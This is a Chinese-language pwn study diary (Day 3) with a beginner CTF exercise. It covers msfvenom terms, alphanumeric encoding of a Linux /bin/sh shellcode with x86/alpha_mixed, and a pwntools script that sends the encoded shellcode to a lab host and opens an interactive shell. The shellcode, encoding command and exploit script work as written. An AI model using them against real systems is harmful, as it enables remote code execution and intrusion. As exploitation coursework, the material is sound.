zoukankan      html  css  js  c++  java
  • pwn学习日记Day3 基础知识积累

    知识杂项

    msfVENOM:Msfvenom是msf框架配套的攻击载荷生成器。
    payload:有效载荷。
    payload:目标系统上渗透成功后执行的代码。
    Metasploit:一款开源的安全漏洞检测工具。
    BufferRegister:缓冲寄存器

    shellcode的变形

    "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"显然含有大量的非base64编码字符,甚至包含了大量的不可见字符。因此,我们就需要对其进行编码。
    配置命令行参数

    python -c 'import sys; sys.stdout.write("x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68
    x2fx62x69x6ex89xe3xcdx80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86
    --platform linux BufferRegister=EAX -o payload
    

    我们需要自己输入shellcode,但msfvenom只能从stdin中读取,所以使用linux管道操作符“|”,把shellcode作为python程序的输出,从python的stdout传送到msfvenom的stdin。此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    from base64 import *
    context.update(arch = 'i386', os = 'linux', timeout = 1)
    io = remote('172.17.0.2', 10001)
    shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6OD
    oaccXU8ToE2bIbNLIXcHMOpAA")
    print io.recv()
    io.send(shellcode)
    print io.recv()
    io.interactive()
    

    remote:远程控制
    recv:从TCP连接的另一端接收数据
    send:是一个计算机函数,功能是向一个已经连接的socket发送数据,如果无错误,返回值为所发送数据的总数,否则返回SOCKET_ERROR。
    interactive:提供了一种让使用者可以交互式输入参数、调用函数的途径。
    有的时候我们可以成功写入shellcode,但是shellcode在执行前甚至执行时却会被破坏。当破坏难以避免时,我们就需要手工拆分shellcode,并且编写代码把两段分开的shellcode再“连”到一起。

    内容来源

    i春秋月刊第六期——Linux pwn零基础入门

  • 相关阅读:
    [GCJ2017R2]Fresh Chocolate
    李耀于NOIP2010集训出的题 Dvalue
    POI ZAW
    POI SZP
    無名(noname)
    幸运序列(lucky)
    [HNOI2001]求正整数
    灰狼呼唤着同胞(brethren)
    神在夏至祭降下了神谕(oracle)
    [bzoj 4237] 稻草人
  • 原文地址:https://www.cnblogs.com/luoleqi/p/10788076.html
Copyright © 2011-2022 走看看